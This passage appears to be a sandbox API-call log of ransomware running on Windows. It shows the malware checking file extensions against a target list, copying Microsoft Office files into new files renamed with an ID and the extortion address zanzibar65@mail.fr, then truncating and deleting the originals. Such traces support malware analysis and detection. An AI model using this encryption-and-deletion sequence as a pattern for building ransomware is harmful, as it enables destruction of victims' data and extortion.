(hObject=0x2ec) returned 1 [0274.412] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.412] SetEndOfFile (hFile=0x3a0) returned 1 [0274.414] CloseHandle (hObject=0x3a0) returned 1 [0274.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0274.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.415] lstrlenW (lpString=".doc") returned 4 [0274.415] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".docx") returned 5 [0274.415] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.415] lstrlenW (lpString=".pdf") returned 4 [0274.415] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".xls") returned 4 [0274.415] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".xlsx") returned 5 [0274.415] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.415] lstrlenW (lpString=".ppt") returned 4 [0274.415] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.415] lstrlenW (lpString=".zip") returned 4 [0274.415] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".rar") returned 4 [0274.415] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".bz2") returned 4 [0274.415] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.415] lstrlenW (lpString=".7z") returned 3 [0274.415] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString=".dbf") returned 4 [0274.416] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString=".1cd") returned 4 [0274.416] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString=".jpg") returned 4 [0274.416] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString=".doc") returned 4 [0274.416] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString=".docx") returned 5 [0274.416] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.416] lstrlenW (lpString=".pdf") returned 4 [0274.416] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString=".xls") returned 4 [0274.416] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString=".xlsx") returned 5 [0274.416] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.416] lstrlenW (lpString=".ppt") returned 4 [0274.416] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.416] lstrlenW (lpString=".zip") returned 4 [0274.416] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.416] lstrlenW (lpString=".rar") returned 4 [0274.416] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.417] lstrlenW (lpString=".bz2") returned 4 [0274.417] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.417] lstrlenW (lpString=".7z") returned 3 [0274.417] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.417] lstrlenW (lpString=".dbf") returned 4 [0274.417] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.417] lstrlenW (lpString=".1cd") returned 4 [0274.417] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0274.417] lstrlenW (lpString=".jpg") returned 4 [0274.505] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.505] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.505] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0274.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.529] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=15776) returned 1 [0274.529] CloseHandle (hObject=0x38c) returned 1 [0274.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0274.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.578] lstrlenW (lpString=".doc") returned 4 [0274.578] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.578] lstrlenW (lpString=".docx") returned 5 [0274.578] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0274.578] lstrlenW (lpString=".pdf") returned 4 [0274.578] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.578] lstrlenW (lpString=".xls") returned 4 [0274.578] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString=".xlsx") returned 5 [0274.579] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0274.579] lstrlenW (lpString=".ppt") returned 4 [0274.579] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString=".zip") returned 4 [0274.579] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString=".rar") returned 4 [0274.579] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString=".bz2") returned 4 [0274.579] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.579] lstrlenW (lpString=".7z") returned 3 [0274.579] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString=".dbf") returned 4 [0274.579] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString=".1cd") returned 4 [0274.579] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString=".jpg") returned 4 [0274.579] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.579] lstrlenW (lpString=".doc") returned 4 [0274.579] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.579] lstrlenW (lpString=".docx") returned 5 [0274.579] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0274.579] lstrlenW (lpString=".pdf") returned 4 [0274.580] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.580] lstrlenW (lpString=".xls") returned 4 [0274.580] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.580] lstrlenW (lpString=".xlsx") returned 5 [0274.580] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0274.580] lstrlenW (lpString=".ppt") returned 4 [0274.580] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.580] lstrlenW (lpString=".zip") returned 4 [0274.580] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.580] lstrlenW (lpString=".rar") returned 4 [0274.580] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.580] lstrlenW (lpString=".bz2") returned 4 [0274.580] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.580] lstrlenW (lpString=".7z") returned 3 [0274.580] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.580] lstrlenW (lpString=".dbf") returned 4 [0274.580] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.580] lstrlenW (lpString=".1cd") returned 4 [0274.580] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0274.580] lstrlenW (lpString=".jpg") returned 4 [0274.580] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.580] lstrcmpiW (lpString1=".MML", lpString2=".html") returned 1 [0274.580] lstrlenW (lpString="OFFICE10.MML") returned 12 [0274.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0274.581] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=312376) returned 1 [0274.581] CloseHandle (hObject=0x304) returned 1 [0274.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0274.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0274.581] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.581] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0274.633] GetLastError () returned 0x0 [0274.633] ReadFile (in: hFile=0x304, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x4c438, lpOverlapped=0x0) returned 1 [0274.659] WriteFile (in: hFile=0x3a4, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0274.665] ReadFile (in: hFile=0x304, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.665] WriteFile (in: hFile=0x3a4, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.665] SetEndOfFile (hFile=0x3a4) returned 1 [0274.665] CloseHandle (hObject=0x3a4) returned 1 [0274.665] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.665] SetEndOfFile (hFile=0x304) returned 1 [0274.672] CloseHandle (hObject=0x304) returned 1 [0274.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0274.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.673] lstrlenW (lpString=".doc") returned 4 [0274.673] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0274.673] lstrlenW (lpString=".docx") returned 5 [0274.673] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0274.673] lstrlenW (lpString=".pdf") returned 4 [0274.673] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0274.673] lstrlenW (lpString=".xls") returned 4 [0274.673] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0274.673] lstrlenW (lpString=".xlsx") returned 5 [0274.673] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0274.673] lstrlenW (lpString=".ppt") returned 4 [0274.673] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0274.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.673] lstrlenW (lpString=".zip") returned 4 [0274.673] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0274.673] lstrlenW (lpString=".rar") returned 4 [0274.673] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0274.673] lstrlenW (lpString=".bz2") returned 4 [0274.674] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0274.674] lstrlenW (lpString=".7z") returned 3 [0274.674] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString=".dbf") returned 4 [0274.674] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString=".1cd") returned 4 [0274.674] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString=".jpg") returned 4 [0274.674] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString=".doc") returned 4 [0274.674] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0274.674] lstrlenW (lpString=".docx") returned 5 [0274.674] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0274.674] lstrlenW (lpString=".pdf") returned 4 [0274.674] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0274.674] lstrlenW (lpString=".xls") returned 4 [0274.674] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0274.674] lstrlenW (lpString=".xlsx") returned 5 [0274.674] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0274.674] lstrlenW (lpString=".ppt") returned 4 [0274.674] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0274.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.674] lstrlenW (lpString=".zip") returned 4 [0274.675] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0274.675] lstrlenW (lpString=".rar") returned 4 [0274.675] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0274.675] lstrlenW (lpString=".bz2") returned 4 [0274.675] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0274.675] lstrlenW (lpString=".7z") returned 3 [0274.675] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0274.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.675] lstrlenW (lpString=".dbf") returned 4 [0274.675] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0274.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.675] lstrlenW (lpString=".1cd") returned 4 [0274.675] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0274.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0274.675] lstrlenW (lpString=".jpg") returned 4 [0274.675] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0274.675] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.675] lstrlenW (lpString="AUTOSHAP.DLL") returned 12 [0274.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0274.677] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=15776) returned 1 [0274.677] CloseHandle (hObject=0x304) returned 1 [0274.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll")) returned 0x20 [0274.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.678] lstrlenW (lpString=".doc") returned 4 [0274.678] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.678] lstrlenW (lpString=".docx") returned 5 [0274.678] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0274.678] lstrlenW (lpString=".pdf") returned 4 [0274.678] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.678] lstrlenW (lpString=".xls") returned 4 [0274.678] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.679] lstrlenW (lpString=".xlsx") returned 5 [0274.679] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0274.679] lstrlenW (lpString=".ppt") returned 4 [0274.679] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.679] lstrlenW (lpString=".zip") returned 4 [0274.679] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.679] lstrlenW (lpString=".rar") returned 4 [0274.679] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.679] lstrlenW (lpString=".bz2") returned 4 [0274.679] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.679] lstrlenW (lpString=".7z") returned 3 [0274.679] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.823] lstrlenW (lpString=".dbf") returned 4 [0274.823] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString=".1cd") returned 4 [0274.824] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString=".jpg") returned 4 [0274.824] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString=".doc") returned 4 [0274.824] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString=".docx") returned 5 [0274.824] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0274.824] lstrlenW (lpString=".pdf") returned 4 [0274.824] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString=".xls") returned 4 [0274.824] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString=".xlsx") returned 5 [0274.824] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0274.824] lstrlenW (lpString=".ppt") returned 4 [0274.824] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString=".zip") returned 4 [0274.824] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString=".rar") returned 4 [0274.824] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.824] lstrlenW (lpString=".bz2") returned 4 [0274.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.824] lstrlenW (lpString=".7z") returned 3 [0274.824] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.824] lstrlenW (lpString=".dbf") returned 4 [0274.824] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.825] lstrlenW (lpString=".1cd") returned 4 [0274.825] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0274.825] lstrlenW (lpString=".jpg") returned 4 [0274.825] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.825] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.825] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0274.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 